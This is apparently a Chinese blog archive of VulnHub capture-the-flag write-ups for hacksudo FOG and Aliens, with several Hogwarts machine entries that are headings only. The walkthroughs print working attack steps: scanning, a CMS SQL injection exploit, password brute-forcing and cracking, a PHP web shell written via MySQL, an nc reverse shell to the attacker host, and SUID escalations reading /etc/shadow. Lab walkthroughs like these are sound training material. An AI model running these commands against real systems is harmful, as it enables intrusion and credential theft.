python3 -c 'import pty;pty.spawn("/bin/bash")'
3.在/usr/www/html目录下能够发现一个.env文件，文件内有一个数据库用户和密码，但是无法登录：

4.后来发现，这个密码是hacksudo用户ssh登录的密码，用户目录下user.txt即是第一个flag：

root提权

1.进入hacksudo用户，查看具有root权限的suid文件，尝试提权：
1
find / -perm -u=s -type f 2>/dev/null
2.查询到cpulimit文件，再去https://gtfobins.github.io/查询提权方式：

3.成功登录root用户，在/root目录下发现flag，root.txt：
1
2
3
4
5
6
cd /tmp
echo '/bin/bash -i' > install
chmod +x install
cd ~/search/tools/
export PATH=/tmp/:$PATH
./searchinstall -p
4.在/root目录下，可以找到flag，即root.txt:

Hacksudo Vulnhub WriteUp

Hacksudo FOG

Aug 3, 2022

Hacksudo:FOG

一、基本信息

名称：hacksudo:FOG
发布日期：2021.5.14
作者：Vishal Waghmare
系列：hacksudo

二、靶机简介

Flags：
hacksudo:/flag1.txt
www-data:/var/www/flag2.txt
root:/root/root.txt

难度：中等

三、文件信息

文件名：hacksudo-FOG.zip
文件大小：1.3GB
下载地址：
MD5: FE8360E56637FE0D278EF2C38F15B969
SHA1: 31B1210F45C74D3062A0EDD5677C6BB770EB26AF

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机FOG和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现开放了很多端口，访问主页源码中隐藏了一个index1.html：
1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.112 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，index1.html提示我们一个音频文件提取工具：
1
gobuster dir -u http://192.168.56.112/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt，目录扫描

CMS漏洞利用

1.我们将提示的解析工具下载下来，尝试用工具解析index.html页的smoke.mp4，但不是wav格式没有信息：
1
2
3
4
git clone https://github.com/hacksudo/SoundStegno.git，获取工具
cd SoundStegno
wget http://192.168.56.112/smoke.mp4
python3 ExWave.py -f smoke.mp4
2.通过之前的目录扫描，我们发现有cms页面和一个dict.txt文件：

3.将dict.txt文件下载，很可能是密码字典，再去查询cms的漏洞，发现是2.2.5版本，有未经身份验证的SQL注入漏洞可以使用：
1
2
wget http://192.168.56.112/dict.txt
whatweb http://192.168.56.112/cms，查看框架版本
1
python3 cmsmadesimple-exploit.py -u http://192.168.56.112/cms，漏洞利用程序获取见：https://gist.github.com/kriss-u/321f0418778697e2ec919f04664ceb4b
4.知晓了用户名，写入user，可以尝试使用hydra爆破密码，登录FTP：
1
hydra -L user -P dict.txt 192.168.56.112 ftp

FTP登录，提取音频隐藏信息

1.可以使用hacksudo用户FTP登录，获取到第一个flag，即flag1.txt：

2.进入hacksudo_ISRO_bak目录，发现secr3tSteg.zip文件，需要密码，我们用zip2john配合john获得密码：
1
zip2john secr3tSteg.zip >> hash.txt
3.解压得到的hacksudoSTEGNO.wav可以使用SoundStegno进行解密：
1
python3 ExWave.py -f hacksudoSTEGNO.wav
4.根据之前index1.html页源码的提示，需要用到caesar-cipher解密，我们解密这个数据可以得到一个用户名密码，这个用户与密码可用于登录cms后台：

文件上传漏洞GETSHELL

1.进入cms后台的content页，可以上传phtml文件后缀的webshell，这里我们使用kali自带的webshell进行修改后上传：
1
vim /usr/share/webshells/php/php-reverse-shell.php
2.kali开启对应端口监听，触发webshell，利用python生成交互式shell：
1
python3 -c 'import pty; pty.spawn("/bin/bash");'
3.在/var/www目录下能发现第二个flag，即flag2.txt：

初步提权，SSH登录

1.查看具有root权限的suid文件，尝试提权，发现/usr/bin/look：
1
find / -perm -u=s -type f 2>/dev/null
2.通过在https://gtfobins.github.io/上查找发现可以使用look查看具有root权限的文件，则用look查看/etc/shadow可以发现root及isro用户的密码hash，使用john解一下：

3.爆出isro用户密码为qwerty，可以进行ssh登录，然后在目录下查看到user.txt：

root提权

1.我们进入/fog目录下，发现有一个fog文件属主为root，查看不出来，但是执行后与python2.7相关联，则可以通过python进行root提权：

2.在/root目录下的root.txt即是我们需要的最后一个flag：

Hacksudo Vulnhub WriteUp

Hacksudo Aliens

Aug 3, 2022

Hacksudo:Aliens

一、基本信息

名称：hacksudo:aliens
发布日期：2021.4.4
作者：Vishal Waghmare
系列：hacksudo

二、靶机简介

Flags：
root:/root/root.txt

难度：中等

三、文件信息

文件名：HacksudoAliens.zip
文件大小：2.3GB
下载地址：
MD5: DEFA809B70DADCC72011AAFBB03D1FF6
SHA1: 6E68D6D06692D2C3ACBC1E1C3AEA271A226CD24D

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机Aliens和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现开放22，80，9000端口，访问主页，源码内有没有过多提示：
1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.110 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，两个目录，访问/backup目录，下面mysql.bak文件内有用户和密码：
1
gobuster dir -u http://192.168.56.110/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt，目录扫描

登录phpadmin，写入shell

1.因为端口扫描到了9000端口是phpadmin的服务，利用刚才mysql.bak内的账号密码可成功登录：

2.可以查看secure_file_priv的值为空，mysql可读可写，可以先用一句话php木马尝试，这里直接写入shell，在kali同步开启监听：
1
SHOW VARIABLES LIKE "secure_file_priv";
1
SELECT “<?php system($_GET[‘cmd’]);?>” INTO OUTFILE “/var/www/html/alien.php”，一句话木马
1
http://192.168.56.110/alien.php?cmd=nc%20192.168.56.102%20%208989%20%20-e%20/bin/bash，浏览器输入payload，kali同步开启8989端口监听

root权限文件查询，准备提权

1.查找具有root权限的suid文件，进行suid提权：
1
find / -perm -u=s -type f 2>/dev/null
2.访问https://gtfobins.github.io/，对查到的内容进行比对尝试提权：
1
2
LFILE=/etc/shadow
date -f $LFILE
3.很明显得到的数据是hacksudo及其密码，将字符串拷贝到alien.txt，我们利用john对其解密：

root提权

1.进入hacksudo用户，再次查看具有root权限的suid文件，尝试提权：

2.查询到cpulimit文件，再去https://gtfobins.github.io/查询提权方式：

3.成功登录root用户，在/root目录下发现flag，root.txt：

Hacksudo Vulnhub WriteUp

- 2022 -

HarryPotter:Nagini

一、基本信息

名称：Hogwarts: Nagini

发布日期：2021.4.29

作者：Mansoor R

系列：Hogwarts

推特：@time4ster

二、靶机简介

Flags：

难度：困难

三、文件信息

文件名：Nagini.ova

文件大小：741MB

下载地址：

MD5: B6C8F47BFB2421D1F12B6C1A2C095088

SHA1: 5CF128C51A445434E216A8C5F4087D9ECFB96739

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)

操作系统：Linux(debain)

五、网络信息

DHCP服务：可用

IP地址：自动分配

六、环境配置

七、攻略步骤

信息探测

SSRF漏洞利用

数据库修改登录

后台写入脚本，getshell

HOGWARTS: BELLATRIX

一、基本信息

名称：Hogwarts: Bellatrix

发布日期：2020.11.28

作者：BLY

系列：Hogwarts

推特：@BertrandLorent9

二、靶机简介

Flags：

难度：简单

三、文件信息

文件名：Bellatrix.ova

文件大小：4.1GB

下载地址：

MD5: E6D98D406CDF7641E4A966F16AFAF536

SHA1: 8389861C7F2B1626190844E31A2A1A4ADE385E06

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)

操作系统：Linux(ubuntu)

五、网络信息

DHCP服务：可用

IP地址：自动分配

六、环境配置

七、攻略步骤

信息探测

文件包含漏洞利用

密码爆破，初步提权

root提权

Flag获取

HarryPotter:Aragog

一、基本信息

名称：HarryPotter:Aragog

发布日期：2021.5.10

作者：Mansoor R

系列：HarryPotter

推特：@time4ster

二、靶机简介

Flags：

难度：简单

三、文件信息

文件名：Aragog-1.0.2.ova

文件大小：705MB

下载地址：

MD5: 48A8BD22B27945A9A6FBCF6C57150162

SHA1: DA8B34EAD85C1F6AB66A907A6BA94F6B8284BCF7

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)

操作系统：Linux(debain)

五、网络信息

DHCP服务：可用

IP地址：自动分配